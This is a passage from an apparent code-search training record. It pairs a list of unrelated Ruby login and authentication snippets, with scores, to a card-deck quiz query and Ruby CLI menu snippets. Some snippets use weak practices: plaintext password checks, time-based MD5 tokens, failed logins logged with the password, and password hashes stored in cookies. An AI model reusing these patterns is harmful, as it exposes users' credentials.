user.auth_token\n user.update_attribute( :auth_token, Digest::MD5.hexdigest(Time.now.to_s) )\n end\n cookies[:auth_token] = user.auth_token\n\n #return them to original page requested\n redirect_to session[:original_uri] and return if session[:original_uri]\n \n #or their homepage\n redirect_to matches_path and return\n end", "def login_helper\n username = prompt.ask(\"Enter Username\")\n password = prompt.ask(\"Enter Password\")\n if User.find_by(name: username, password: password)\n self.user = User.find_by(name: username, password: password)\n # no music yet\n puts \"Let's Get Cookin, #{self.user.name.upcase}!!!\"\n sleep(1.5)\n main_menu\n else\n puts \"Incorrect Username or Password\"\n sleep(1.5)\n login_page\n end\n end", "def authenticate_login\n if session[:user].nil? #There's definitely no user logged in\n flash[:notice] = \"<div class=\\\"flash_failure\\\">&nbsp;You are not logged in!</div>\"\n redirect_to :action => \"login\", :controller => \"../browse\"\n else #there's a user logged in, but what type is he?\n @user = User.find(session[:user][:id]) # make sure user is in db, make sure they're not spoofing a session id\n if @user.nil?\n flash[:notice] = \"<div class=\\\"flash_failure\\\">&nbsp;You are not logged in!</div>\"\n redirect_to :action => \"login\", :controller => \"../browse\"\n else\n #session passed too!\n end\n end\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def validate_login(user_name, password)\n if user_name.blank? || password.blank?\n flash_now(:error, get_blank_message(user_name, password))\n return false\n end\n\n # No validate file means only remote authentication is allowed\n return false unless Settings.validate_file\n\n ip = Settings.validate_ip ? request.remote_ip : nil\n authenticate_response = User.authenticate(user_name, password, ip: ip)\n custom_status = Settings.validate_custom_status_message[authenticate_response]\n\n if authenticate_response == User::AUTHENTICATE_BAD_PLATFORM\n flash_now(:error, I18n.t('main.external_authentication_not_supported'))\n elsif custom_status\n flash_now(:error, custom_status)\n elsif authenticate_response == User::AUTHENTICATE_SUCCESS\n return true\n else\n flash_now(:error, Settings.incorrect_login_message || I18n.t('main.login_failed'))\n end\n false\n end", "def verify_existing_login\n return if cookies[GlobalConstant::Cookie.user_cookie_name.to_sym].blank?\n\n @response = CompanyApi::Request::Client.new(\n CompanyApi::Response::Formatter::Client,\n request.cookies,\n {\"User-Agent\" => http_user_agent}\n ).fetch_verify_cookie_details\n\n # success means user is already logged in, we would redirect to dashboard / planner\n # Error means user ain't logged in yet.\n return unless @response.success?\n\n @presenter_obj = ::WebPresenter::UserPresenter.new(@response, params)\n\n if @presenter_obj.client_token.step_three_done?\n redirect_to :dashboard, status: GlobalConstant::ErrorCode.temporary_redirect and return\n else\n redirect_to :planner, status: GlobalConstant::ErrorCode.temporary_redirect and return\n end\n\n end", "def do_login\n login_error = false # for error checking\n @author = Author.new(params[:author])\n if @author.email != '' && @author.password != ''\n # the author entered the required data, let's check it\n @logged_in_author = Author.find(:all, :conditions => ['email = ? and hashed_pass = ? and is_active = ?', @author.email, Author.do_password_hash(@author.password), true])\n if @logged_in_author.length > 0\n # we found a author, let's set cookies and send them on their way\n cookies[SL_CONFIG[:USER_EMAIL_COOKIE]] = { :value => @logged_in_author[0].email, :expires => Time.now + 31536000 }\n cookies[SL_CONFIG[:USER_HASH_COOKIE]] = { :value => @logged_in_author[0].hashed_pass, :expires => Time.now + 31536000 }\n if session[:came_from]\n # they came from somewhere, let's send them back there\n temp = session[:came_from]\n session[:came_from] = nil\n redirect_to temp\n else\n # not sure where they came from, just send them to /admin\n redirect_to Site.full_url + '/admin'\n end\n else\n # no good\n flash[:notice] = 'Sorry, but that email/password combination is invalid.'\n login_error = true\n end\n else\n # didn't enter required data\n flash[:notice] = 'You must enter an email and a password.'\n login_error = true\n end\n if login_error\n # there was an error--delete the cookies and send them back to the login page\n cookies.delete SL_CONFIG[:USER_EMAIL_COOKIE]\n cookies.delete SL_CONFIG[:USER_HASH_COOKIE]\n redirect_to Site.full_url + '/login'\n end\n end", "def login\n puts \"Login successfull\"\n end", "def authenticate\n if session[:account].blank?\n @is_login = false\n reset_session\n render \"login/error\"\n else\n @is_login = true\n @user = User.where( \"account = ?\", session[:account] )[0]\n end\n end", "def handle_login_response(response)\n case response.status\n when 302\n handle_successful_login(response)\n true\n when 200\n handle_failed_login\n false\n else\n handle_errored_login(response.status)\n false\n end\n end", "def authenticate!\n unless params[:user].nil?\n init_local_admin\n my_username = params[:user][:username].strip\n my_password = params[:user][:password].strip\n user = User.find_by_username(my_username)\n if my_username == @local_admin[\"username\"] && my_password == @local_admin[\"password\"]\n # Local admin authentication\n if user.nil?\n user= User.new(:username => @local_admin[\"username\"], :email=>@local_admin[\"email\"], :password => @local_admin[\"password\"], \\\n :password_confirmation => @local_admin[\"password\"], :role => 0)\n user.save!\n end\n user = User.find_by_username(my_username)\n success!(user)\n elsif user && user.valid_password?(my_password) # Local user database authentication\n success!(user)\n else\n fail(\"User name or password invalid \")\n end\n else\n fail\n end\n end", "def password_authentication\n if user = User.authenticate(params[:login], params[:password])\n successful_login(user,params[:url])\n else\n failed_login(user, \"Couldn't log you in as '#{params[:login]}'\")\n end\n end", "def login\n\n end", "def login\n\n end", "def validate!\n return if username && password\n\n STDERR.puts(VALIDATION_MESSAGE)\n exit 1\n end", "def login()\n\t\t\t# set's the user object's name and pin to be tested against\n\t\tuntil @user.authenticate(@name, @pin)\n\t\t\t\t\t# gets the user's name\n\t\t\t\t@name = self.prompt(\n\t\t\t\t\t\"Please Enter Your Name\\n\", \n\t\t\t\t\t\"Error, #{@name} is nothing. At least guess a name. Geez.\\n\\n\"\n\t\t\t\t)\n\t\t\t\t\t# gets the user's pin and converts to an int\n\t\t\t\t@pin = self.prompt(\n\t\t\t\t\t\"Please Enter Your Pin\\n\", \n\t\t\t\t\t\"Error, no pin entered\\n\\n\"\n\t\t\t\t).to_i\n\n\t\t\t\t\t# opens my little surprise gif if the user and pin are not authenticated\n\t\t\tif !@user.authenticate(@name, @pin)\n\t\t\t\tputs `open http://replygif.net/i/981.gif 2> /dev/null`\n\t\t\t\tputs `google-chrome http://replygif.net/i/981.gif 2> /dev/null`\n\t\t\tend\n\t\tend\n\t\t@user_available_funds = @user.balance\n\t\tself.menu\n\tend", "def login(user,pass)\n enter_text(user_field, user)\n enter_text(pass_field, pass)\n sleep 1\n # wait_for_login_done\n end", "def login\r\n if request.get?\r\n # Logout user\r\n self.logged_in_user = nil\r\n else\r\n # Authenticate user\r\n user = User.try_to_login(params[:login], params[:password])\r\n if user\r\n self.logged_in_user = user\r\n # user.update_attribute(:ip_last, request.remote_ip)\r\n journal(\"log_in\",user.id)\r\n # generate a key and set cookie if autologin\r\n if params[:autologin] && Setting.autologin?\r\n token = Token.create(:user => user, :action => 'autologin')\r\n cookies[:autologin] = { :value => token.value, :expires => 1.year.from_now }\r\n end\r\n puts \"aqui\"\r\n if user.show? \r\n puts \"1\"\r\n redirect_back_or_default :controller => 'my', :action => 'athletes'\r\n else \r\n puts \"2\" \r\n redirect_back_or_default :controller => 'my', :action => 'page'\r\n end\r\n else\r\n # if user.locked?\r\n # flash.now[:notice] = l(:status_locked)\r\n # else\r\n flash.now[:notice] = l(:notice_account_invalid_creditentials)\r\n # end\r\n journal(\"invalid-\"+params[:login]+\"-\"+params[:password],0)\r\n end\r\n end\r\n end", "def login\n login_result = nil\n # while the user is logging in...\n while @chosing_option == true\n puts \"What would you like to do?\\n(options: (l)ogin or (s)ignup)\"\n # handles the option chose by the user\n option_chose = STDIN.noecho(&:gets).chomp\n # handles login\n if option_chose.casecmp('l').zero?\n puts 'What is your username?:'\n username_chose = gets.chomp\n # load all the accounts from a file and assign to variable\n accounts = YAML.load_file('users.store')\n # grab user object chosen by user\n @user_grab = accounts[username_chose.to_s]\n # if the username is not found..\n if @user_grab.nil?\n puts \"\\e[2J\"\n puts 'Invalid username! Try again!'\n @chosing_option = true\n else\n # if the username is found grab the password...\n pass_grab = @user_grab.password\n puts 'Enter your password'\n password_chose = STDIN.noecho(&:gets).chomp\n # compare the object password with users given password...\n if password_chose == pass_grab\n # if they are the same return login success\n login_result = true\n @chosing_option = false\n else\n # if they are not the same...\n puts \"\\e[2J\"\n puts 'Invalid password! Try again!'\n @chosing_option = true\n end\n end\n # handles signup\n elsif option_chose.casecmp('s').zero?\n puts 'Please choose a username:'\n chosen_username = gets.chomp\n puts 'Please choose a password:'\n chosen_password = STDIN.noecho(&:gets).chomp\n # create new account using User class and assign to variable\n save_user = User.new(chosen_username.to_s, chosen_password.to_s)\n # store the new account in the users.store file\n save_user.new_user\n @chosing_option = true\n puts \"\\e[2J\"\n puts 'You successfully signed up!'\n # handles doing_things input from user\n else\n puts \"\\e[2J\"\n puts 'Invalid option! Try Again!'\n @chosing_option = true\n end\n end\n # return the result of the login\n login_result\nend", "def login\n @current_user = nil\n system 'clear'\n puts \"--------LOGIN--------\"\n username = @prompt.ask(\"Username: \", required: true)\n if User.all.map(&:name).include?(username)\n @current_user = User.all.find{|user_instance| user_instance.name == username}\n if password\n main_menu\n end\n else\n if @prompt.yes?(\"There is no user by this name. Would you like to create an account?\")\n create_account\n end\n end\n end", "def login\n\tend", "def login\n return if generate_blank\n @user = User.new(params[:user])\n if session[:user] = User.authenticate(params[:user][:login], params[:user][:password])\n session[:user].logged_in_at = Time.now\n session[:user].save\n flash[:notice] = 'Login successful'\n redirect_to_stored_or_default :action => 'home'\n else\n @login = params[:user][:login]\n flash.now[:warning] = 'Login unsuccessful'\n end\n end", "def account_login\n #Grab username from user. \"Find or Create\" based on input.\n username_input = @prompt.ask(\"Enter Username, or exit.\")\n @user = User.find_by(username: username_input)\n if username_input == \"quit\" || username_input == \"exit\"\n login_menu_display\n elsif !@user\n puts \"Please try again\"\n account_login\n else\n password_request\n end\n end", "def op_authenticate(username, password)\n return 'nvu' unless valid?\n\n unless authentication_valid?(username, password)\n log \"Authentication failed for user #{username}\"\n @ticket.update!(username: username, state: 'Finished', last_error: @last_log_message)\n return 'nvu' # not valid user\n end\n\n if has_work?\n log \"Authentication successful. Reporting to QuickBooks that there is work to be done.\"\n @ticket.update!(username: username, state: 'Authenticated')\n '' # \"Any other string value = use this name for company file\"\n else\n log \"Authentication successful, but there is no work to be done\"\n @ticket.update!(username: username, state: 'Finished')\n 'none'\n end\n end", "def execLogin\n timer = WebCrawler::startTime\n login=true\n begin\n if @vars[:loginPage]=='' then return nil end\n @session.visit @vars[:loginPage]\n @session.driver.find_css(@vars[:usernameInput]).first.set @vars[:username]\n @session.driver.find_css(@vars[:passwordInput]).first.set @vars[:password]\n if @vars[:captcha]!=''\n @session.driver.find_css(@vars[:captchaInput]).first.set @vars[:captcha]\n end\n @session.driver.find_css(@vars[:loginSubmit]).first.click\n rescue Selenium::WebDriver::Error::WebDriverError ,\n Selenium::WebDriver::Error::UnknownError => e\n WebCrawler::logError 'webcrawler.driver', e.message\n login=false\n rescue => e\n WebCrawler::logError 'webcrawler.login', e.message\n login=false\n end\n WebCrawler::logTime timer, 'login.visit', @vars[:loginPage]\n if ((@vars[:sleepLogin]).to_i)>0\n sleep(((@vars[:sleepLogin]).to_i.to_f)/1000)\n end\n return login\n end", "def login\n mandatory_keys = [:app_id, :user_name, :password, :sign]\n if params.slice(*mandatory_keys).values.any?(&:nil?)\n render json: to_response('Some params are lost') and return\n elsif @service_provider.nil?\n render json: to_response('ServiceProvider error') and return\n elsif not CommonUtils.valid_sign?(params[:app_id], params[:user_name], params[:password], @service_provider.credential, params[:sign])\n render json: to_response('Invalid request: parameter error') and return\n end\n\n user = User.find_by_user_name(params[:user_name])\n if user && user.authenticate(params[:password])\n render json: (user.invalid_role? ? to_response('User needs to be activated') : to_response('success', user))\n elsif user.nil?\n render to_response \"User not exist:#{params[:user_name]}\"\n else\n render to_response 'Password error'\n end\n end", "def login\n capture_session(self.class.post( \"/api/login\", {:body => {:user => @user, :passwd => @password, :api_type => 'json'}, :debug_output => @debug} ) )\n logged_in?\n end", "def check_login\n\n if User.where({ :username => params[:username] }).first\n found_user = User.where({ :username => params[:username] }).first\n\n if found_user && found_user.password == params[:password]\n session[:property_admin_id] = found_user.id\n flash[:success] = \"You successfully logged in!\"\n redirect_to admin_index_path\n return\n else\n flash[:error] = \"Wrong password, please try again.\"\n redirect_to admin_login_path\n return\n end\n \n else\n\n flash[:error] = \"User doesn't exist, please try again.\"\n redirect_to admin_login_path\n return\n\n end\n\n end", "def login(username, password)\n if password == 'test'\n print username, 'ALLOWED'\n else\n print username, 'DENIED'\n end\nend", "def login(params)\n if validate_login_user(params)\n db = connect_to_db()\n db.results_as_hash = true\n result = db.execute(\"SELECT id, password FROM users WHERE username=?\", [params[\"username\"]])\n if result.length == 0\n return {error: \"Check your input again\"}\n end \n if BCrypt::Password.new(result[0][\"password\"]) == params[\"password\"]\n return {user_id: result[0]['id']}\n else\n return {error: \"You have not provided the correct credentials!\"}\n end\n else\n return {error: \"Make sure your password is the same in both boxes.\"}\n end\n end", "def processLogin(query)\n query = parse query\n unless query\n debug(\"Error: processLogin: Failed to parse query.\")\n return\n end\n action = query['action']\n unless action == 'login'\n debug(\"Warning: processLogin: query action ignored: #{action}.\")\n return\n end\n token = query['stoken']\n context = CGI.unescape(query['appctx']) if query['appctx']\n processToken(token, context)\n end", "def login\n\t\tuser = User.find_by_username(post_params[:username]).try(:authenticate, post_params[:password])\n\t\traise \"Invalid username or password\" unless user\n\t\tsession[:user_id] = user.id\n\t\tredirect_to write_path\n\trescue => e\n\t\tflash[:error] = e.message\n\t\tredirect_to root_path\n\tend", "def login\n VkMusic.log.info(\"Client#{@id}\") { 'Logging in...' }\n login = Request::Login.new\n login.call(agent)\n login.send_form(@login, @password, agent)\n return true if login.success?\n\n VkMusic.log.warn(\"Client#{@id}\") { \"Login failed. Redirected to #{login.response.uri}\" }\n false\n end", "def login_user\n puts \"Please enter your name\"\n name = CLI.gets_with_quit\n\n if self.user_exists(name)\n user = self.find_user(name)\n if check_password(user)\n CLI.active_user = user\n # fall through to CLI.start\n else\n CLI.start\n end\n\n else\n puts \"Sorry, User not found!\"\n if CLI.yes_no(\"Sign Up\")\n self.signup_user(name)\n else\n CLI.start\n end\n end\n end", "def login_required\n unless logged_in?\n store_location\n not_authenticated\n return false\n end\n true\n end", "def login_check(username, password)\n sql = <<~SQL\n SELECT * FROM users\n WHERE username = $1 AND password = $2;\n SQL\n check = query(sql, username, password)\n if check.ntuples == 1\n @user_id = check.tuple(0)[\"id\"]\n @username = check.tuple(0)[\"username\"]\n true\n else \n false \n end\n end", "def login_check\n if not is_logged_in session\n # should never get in here\n redirect_to :action => :index\n end\n sunet = session[:user_hash][\"username\"]\n if User.find_by_sunet(sunet)\n redirect_to :action => :index\n else\n # create new user\n gn = session[:user_hash][\"gn\"] || \"\"\n sn = session[:user_hash][\"sn\"] || \"\"\n phone = session[:user_hash][\"phone_number\"] || \"\"\n major = session[:user_hash][\"org\"] || \"\"\n @user = User.new(:sunet => sunet, :first_name => gn.titlecase, :last_name => sn.titlecase, :bio => \"I dance for Basmati Raas!\", :is_alumni => false, :is_undergrad => true, :phone => phone, :major => major)\n @user.save\n flash[:notice] = \"Welcome! We started filling out your profile. Please upload a picture and update your information.\"\n redirect_to \"/users/#{@user.id}/edit\"\n end\n end", "def login_check\n if not is_logged_in session\n # should never get in here\n redirect_to :action => :index\n end\n sunet = session[:user_hash][\"username\"]\n if User.find_by_sunet(sunet)\n redirect_to :action => :index\n else\n # create new user\n gn = session[:user_hash][\"gn\"] || \"\"\n sn = session[:user_hash][\"sn\"] || \"\"\n phone = session[:user_hash][\"phone_number\"] || \"\"\n major = session[:user_hash][\"org\"] || \"\"\n @user = User.new(:sunet => sunet, :first_name => gn.titlecase, :last_name => sn.titlecase, :bio => \"I dance for Basmati Raas!\", :is_alumni => false, :is_undergrad => true, :phone => phone, :major => major)\n @user.save\n flash[:notice] = \"Welcome! We started filling out your profile. Please upload a picture and update your information.\"\n redirect_to \"/users/#{@user.id}/edit\"\n end\n end" ]
[ "0.71599764", "0.714724", "0.7143159", "0.71002084", "0.7098028", "0.7046727", "0.70304793", "0.7005024", "0.6962061", "0.69345033", "0.6920701", "0.6877429", "0.6856997", "0.6802768", "0.6801807", "0.6795428", "0.67886174", "0.67263955", "0.67167115", "0.66437", "0.6635576", "0.663423", "0.662633", "0.6622239", "0.66154754", "0.6589", "0.65888095", "0.65701306", "0.65639514", "0.655801", "0.6529048", "0.65227866", "0.65104896", "0.65100104", "0.6509538", "0.65014106", "0.6493252", "0.64652145", "0.64622194", "0.64605856", "0.6454608", "0.6454076", "0.6452426", "0.6447432", "0.64464223", "0.6441037", "0.6440141", "0.6439482", "0.6437486", "0.643704", "0.6427579", "0.64261013", "0.64188117", "0.64177775", "0.6417381", "0.6413706", "0.6413134", "0.6401568", "0.6401345", "0.6401345", "0.6401345", "0.6401345", "0.6401345", "0.6401345", "0.6401345", "0.6401345", "0.6401345", "0.6399661", "0.6396905", "0.63919544", "0.63915294", "0.63884276", "0.6380152", "0.6371884", "0.63620436", "0.63616306", "0.63616306", "0.63602704", "0.63592446", "0.6354575", "0.63542783", "0.6340413", "0.6338306", "0.63371944", "0.6335387", "0.63348806", "0.6333934", "0.6333626", "0.6331976", "0.63309395", "0.63247395", "0.6318619", "0.63167584", "0.63149977", "0.6307912", "0.63046706", "0.63037616", "0.63021517", "0.63000333", "0.6298141", "0.6298141" ]
0.0
-1
def pick_deck puts "Welcome! Please choose a deck (hogwarts or turing):" selection = gets.chomp if selection == "hogwarts" cards = CardGenerator.new('./hogwarts.txt') else selection == "turing" cards = CardGenerator.new('./cards.txt') end end
def start "You're playing with #{deck.count} cards." puts ("-"*60).cyan deck.cards.each do |card| puts "This is card number #{current + 1} out of #{deck.count}." puts "Question: #{current_card.question}" response = gets.chomp record_guess(response) puts "#{guesses.last.feedback}" next_card end puts "****** Game over! ******" puts "You had #{number_correct} correct answers out of #{deck.count} for a score of #{percent_correct}%" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def choose_game\n puts \"Please choose from the following options:\"\n puts \"1) Roulette\"\n puts \"2) Casino War\"\n puts \"3) Blackjack\"\n puts \"4) $1 Slots\"\n puts \"5) Show wallet balance\"\n puts \"6) Cash out and leave\"\n answer = gets.strip.to_i\n case answer\n when 1\n play_roulette\n when 2\n play_casino_war\n when 3\n play_blackjack\n when 4\n play_slots\n when 5\n @person_wallet.show_wallet\n choose_game\n when 6\n @person_wallet.final_wallet\n exit\n else\n puts \"That is not a valid choice. Please choose again.\\n\\n\"\n choose_game\n end\n end", "def start_game()\n system \"clear\"\n puts \"Welcome to Math flashcards\"\n puts \"Choose your flashcard(add,subtract,multiply,divide)\"\n pick = gets.chomp.downcase\n if pick == \"add\"\n add_flashcards(\"add\")\n elsif pick == \"subtract\"\n add_flashcards(\"subtract\")\n elsif pick == \"multiply\"\n add_flashcards(\"multiply\")\n elsif pick == \"divide\"\n add_flashcards(\"divide\")\n else\n puts \"Sorry we didn't recongize #{pick}\"\n puts \"Please hit enter to try again\"\n gets\n start_game\n end\nend", "def option\n puts \"\\#1. Search for drink based on a specific ingredient.\"\n puts \"\\#2. Take a chance on a random drink.\"\n puts \"\\#3. Get the recipe when you know the name of the drink already.\"\n puts \"\"\n puts \"\\#0. or type 'exit' to Exit\"\n puts \"=====================================\"\n puts \"Please enter a number to choose an option:\"\n\n options = gets.chomp.to_i\n # def\n\n case options\n when 1\n #will accept a liqupr type and display the available drinks to make\n #where the user can accept one to see the ingredients\n puts \"Input ingredient type:\"\n liquor_type = gets.chomp\n drinks_list = search_by_name(liquor_type)\n drinks_list.each do|drink|\n drink.map do |key, value|\n if key == 'strDrink'\n print \"#{value}, \"\n end\n end\n end\n choose_again\n\n when 2\n # puts \"Your random drink is the...\"\n random_drink\n # puts \"Save drink?\"\n # User.like_drink(randomdrink)\n choose_again\n\n when 3\n puts \"Know the name of the drink you want?\"\n drink_name = gets.chomp.to_s\n getting_recipe(drink_name)\n\n choose_again\n\n when 0 || 'exit'\n puts \"Maybe next time, friend. Bye-bye\"\n\n else\n puts \"\\n\\n!!! Sorry but that appears to be an invalid input. Please try again!!! \\n\\n\"\n options\n end\nend", "def make_selection\n\tprint \"\\nPlease make a selection \"\n\tgets.chomp\nend", "def provide_options\n puts \"\\nWould you like to:\"\n puts \" A. See some information about a particular planet\"\n puts \" B. Add a new planet to the system\"\n puts \" C. Delete a planet from the system\"\n puts \" D. Exit the program\"\n print \"\\nEnter your selection (A, B, C, or D): \"\n return selection = gets.chomp.upcase\nend", "def selection\n selection = STDIN.gets.chomp\n case selection\n when \"1\"\n puts \"Input new Students\".center(70) \n input_students\n when \"2\"\n puts \"Print list of Students\".center(70)\n print_header\n print_student_list\n print_footer\n when \"3\"\n puts \"Save to file\".center(70)\n save_students\n when \"4\"\n puts \"Load from file\".center(70)\n load_students\n when \"5\"\n print_cohort\n when \"6\"\n begins_with\n when \"9\"\n exit\n else\n puts \"That selection is incorrect, try again.\".center(70)\n end\nend", "def human_vs_computer_game\n game = nil\n puts \"Get three in a row to win!\"\n puts \" \"\n puts \"Do you want to be X? Enter y/n\"\n selection = gets.strip\n if selection == \"y\"\n game = Game.new(Players::Human.new(\"X\"), Players::Computer.new(\"O\"))\n elsif selection == \"n\"\n game = Game.new(Players::Computer.new(\"X\"), Players::Human.new(\"O\"))\n else\n puts \"Please enter a valid response\"\n selection = gets.strip\n end\n game.play\n play_again?\n end", "def start_game\n puts \"What would you like to do?\"\n puts \"1. Load Saved Game\"\n puts \"2. Start New Game\"\n choice = gets.chomp\n if choice == \"1\"\n find_save_file\n elsif choice == \"2\"\n initialize\n end\n end", "def start_game\n puts \"What would you like to do?\"\n puts \"1. Load Saved Game\"\n puts \"2. Start New Game\"\n choice = gets.chomp\n if choice == \"1\"\n find_save_file\n elsif choice == \"2\"\n initialize\n end\n end", "def intro\n\tputs \"1--Load File\"\n\tputs \"2--New Game\"\n\tchoice = gets.chomp.to_i\n\tcase choice \n\twhen 1\n\t\tload()\n\twhen 2\n\tputs \"Hello Quester, what is your name?\"\n\t@user_name = gets.chomp\n\tputs \"Welcome \" + @user_name.to_s \n\tputs \"You have \" + @coin.to_s + \" coins.\"\n\tend\nend", "def get_player_choice()\n\n puts \"[1] - rock\\n[2] - paper\\n[3] - scissors\\n\\n\"\n\n\n print \"Choose > \"\n\n inp = gets.chomp()\n\n while true\n\n case inp\n\n when \"1\"\n\n return \"rock\"\n \n when \"2\"\n\n return \"paper\"\n\n when \"3\"\n \n return \"scissors\"\n \n else\n puts \"[!] Option not found !\\n\"\n print \"Choose > \"\n\n inp = gets.chomp()\n \n end\n\n end\n\n end", "def choice\n puts \"How do you want to play?:\"\n print \"Many Battles \"\n print \"- Choose Your Stats \"\n print \"- Move Battle(unavailable)\"\n puts \" \"\n print \"Enter your choice: \"\n choice = gets.chomp\n\n if choice == \"Many Battles\"\n system \"clear\"\n many_battles\n elsif choice == \"many battles\"\n system \"clear\"\n many_battles\n elsif choice == \"Many battles\"\n system \"clear\"\n many_battles\n elsif choice == \"many Battles\"\n system \"clear\"\n many_battles\n elsif choice == \"Choose Your Stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose your stats\"\n system \"clear\"\n user_input\n elsif choice == \"Choose your stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose Your stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose your Stats\"\n system \"clear\"\n user_input\n elsif choice == \"Move Battle\"\n puts \"This Mode is unavailable\"\n elsif choice == \"move battle\"\n puts \"This Mode is unavailable\"\n else\n puts \"Type in one of the choices\"\n end\n end", "def get_option\n puts \" What do you want to know? (Please select number):\\n1: Height\\n2: Mass\\n3: Hair Color\\n4: Skin Color\\n5: Eye Color\\n6: Birth Year\\n7: Gender\\n8: Homeworld\\n9: Films\\n10: Species\"\n return gets.chomp.downcase\nend", "def start_game\n puts \"Welcome to Tic Tac Toe!\".blue\n puts \"Please Select The Number of Players:\".blue\n puts \"Enter '0' for Computer Vs. Computer Mode.\".blue\n puts \"Enter '1' to Play against The Computer.\".blue\n puts \"Enter '2' to Play against a Friend.\".blue\n\n selected_players = gets.strip.to_i\n\n if selected_players == 2\n puts \"You VS a Friend. Player X will move first.\".cyan\n game = Game.new\n game.play\n\n elsif selected_players == 1\n puts \"You VS Computer.\".cyan\n select_token\n\n else selected_players ==0\n\n puts \"Computer VS Computer\".cyan\n game = Game.new(player_1 =Players::Computer.new(\"X\"), player_2 = Players::Computer.new(\"O\"), board = Board.new)\n game.play\n end\nend", "def get_chosen_card(player, match_card, deck)\n begin\n puts 'Enter colour (R, B, Y, G) followed by a number(0-9) - Eg to play a Red 7, enter R7'\n puts 'Or, R, B, Y, G followed by R-Reverse, S-Skip or P2-Pickup 2 - Eg to play a Green Pickup 2, enter GP2'\n puts 'Enter WC for Wild Card, WP4 for Wild Pickup 4 '\n puts 'Enter D to pick up from the deck'\n puts 'What would you like to play? '\n option = gets.downcase\n color = option[0]\n number = option[1, 2].strip\n color = validate_color(color)\n if color == 'Draw'\n player.cards << deck.take_card\n return false\n end\n number = validate_number(number)\n chosen_card = validate_card_in_hand(color, number, player)\n validate_card_matches_discard(color, number, match_card)\n rescue InvalidColorError => e\n puts e.message\n retry\n rescue InvalidNumberError => e\n puts e.message\n retry\n rescue InvalidCardInHandError => e\n puts e.message\n retry\n rescue InvalidCardMatchError => e\n puts e.message\n retry\n end\n chosen_card\n end", "def get_choice\n puts \"\\nThank you for using our Solar System Explorer! Here are your options:\n (A) Add a planet to the list\n (B) View a planet\n (C) Exit the program\"\n print \"\\nPlease select a letter: \"\n choice = gets.chomp.upcase\n choice\nend", "def play\n title\n divider\n puts \"Choose 'Rock', 'Paper', or 'Scissors'\"\n input = gets.strip\n input_downcase(input)\n if valid_selection?\n computer_selection\n won\n else\n play\n end\n end", "def choose\r\n\tputs \"And what about programing? Do you like programing? Remember, Yes, no, or maybe, only!\"\r\n\tchoice = gets.chomp\r\n\tcase choice.downcase\r\n\twhen \"yes\"\r\n\t\tputs \"That\\'s great!\"\r\n\twhen \"no\"\r\n\t\tputs \"That\\'s too bad!\"\r\n\twhen \"maybe\"\r\n\t\tputs \"Glad you\\'re giving it a chance!\"\r\n\telse\r\n\t\tputs \"What does that even mean??\"\r\n\tend\r\nend", "def get_user_choice\n puts \"Do you want to be X or O?\"\n puts \"Type 'X' or 'O': \"\n # assign the choice to a variable\n @symbol = gets.chomp\n # call the method to then get the computers symbol for the game\n get_computer_choice\n end", "def handle_user_choice\n ans = nil # track user input\n while true\n puts \"\\nChoose one of the following options.\"\n puts \"1. Enter set.\"\n puts \"2. Redeal cards (if no sets).\"\n ans = gets.chomp.to_i\n\n if ans == 1\n break\n elsif ans == 2\n redeal # redeal cards\n print_cards\n else\n puts \"Invalid input.\"\n end\n end\n\n ans # return user input\nend", "def start_game()\n # system \"clear\"\n puts \"Welcome to Math Flashcards!\"\n puts \"Which cards would you like? (add|subtract|multiply|divide)\"\n game = gets.chomp.downcase\n\n if game == \"add\"\n # Call addition method\n add_flashcards\n elsif game == \"subtract\"\n # Call subtract method\n subtract_flashcards\n elsif game == \"multiply\"\n # Call multiply method\n multiply_flashcards\n elsif game == \"divide\"\n # Call divide method\n divide_flashcards\n else\n puts \"Sorry, I didn't recognize that, please hit enter to try again\"\n gets\n start_game\n end\nend", "def coin2\n print \"Heads or tails?\"\n guess = gets.chomp\n options = [\"Heads\", \"Tails\"]\n pc_choice = options.sample\n puts \"The computer flipped #{pc_choice.upcase}\"\n \n if pc_choice == \"Heads\"\n if guess == \"Heads\"\n puts \"You guessed correctly!\"\n else\n puts \"You guess incorrectly.\"\n end\n end\n if pc_choice == \"Tails\"\n if guess == \"Tails\"\n puts \"You guessed correctly!\"\n elsif guess == \"Heads\"\n puts \"You guessed incorrectly.\"\n end\n end\nend", "def choose\n \n end", "def select_option\n print_menu\n @choice = gets.chomp\n perform_selection\n end", "def user_selection(selection)\n case selection\n when \"1\"\n puts \"You have chosen to add more students\\n\".center(100)\n @students = input_students\n when \"2\"\n puts \"You have chosen to see our current student list\\n\".center(100)\n student_displayer\n when \"3\"\n \"You have save our current student list to a csv file\\n\".center(100)\n save_students\n when \"4\"\n \"You have chosen to load students from a csv file\\n\".center(100)\n load_students\n when \"9\"\n puts \"Okay bye\".center(100)\n exit \n else \n puts \"I do not recognise this input, please choose again\".center(100)\n end\nend", "def choose_hero\n prompt = TTY::Prompt.new\n names = Cards.all.map {|cards| cards[\"name\"]}\n selected_name = prompt.select('Choose a character', names, filter: true, cycle: true, help: \"(Start typing to filter results)\",help_color: :green, active_color: :yellow)\n hero = Cards.find_by(name: selected_name)\n display_card_details(hero)\n hero\nend", "def determine_what_comp_picks\n random = [1,2,3].shuffle\n choice = random[0]\n\n if choice == 1\n comp_picked = \"Paper\"\n elsif choice == 2\n comp_picked = \"Rock\"\n elsif choice == 3\n comp_picked = \"Scissors\"\n end\n\nend", "def ask_menu_option\n puts 'What would you like to do?'\n puts ''\n puts '1. Start New Game'\n puts '2. Load Game From Save File'\n puts ''\n correct_input = 0\n until correct_input == 1\n print 'Enter a number: '\n option = gets.chomp\n if %w[1 2].include?(option)\n correct_input = 1\n else\n puts 'PLEASE ENTER 1 OR 2'\n end\n end\n puts \"\\n\\n\"\n option\n end", "def choose_weapons\n puts \"Choose 'r' for rock, 'p' for paper or 's' for scissors\"\n return gets.chomp.downcase\n end", "def action_choice(a_player)\n print (\"#{a_player}\").yellow\n puts \", it is your turn to play.\"\n puts \"This is the board situation :\"\n puts @board.the_board\n puts\n puts \"Which box do you want to tick?\"\n print \">\"\n choice = gets.chomp\n while board.boxes.include?(choice) == false\n puts \"Invalid box reference. Please, pick up another box reference.\"\n choice = gets.chomp\n end\n return choice\n end", "def new_game\n puts \"Start A New Game?\".colorize(:light_magenta,)\n puts 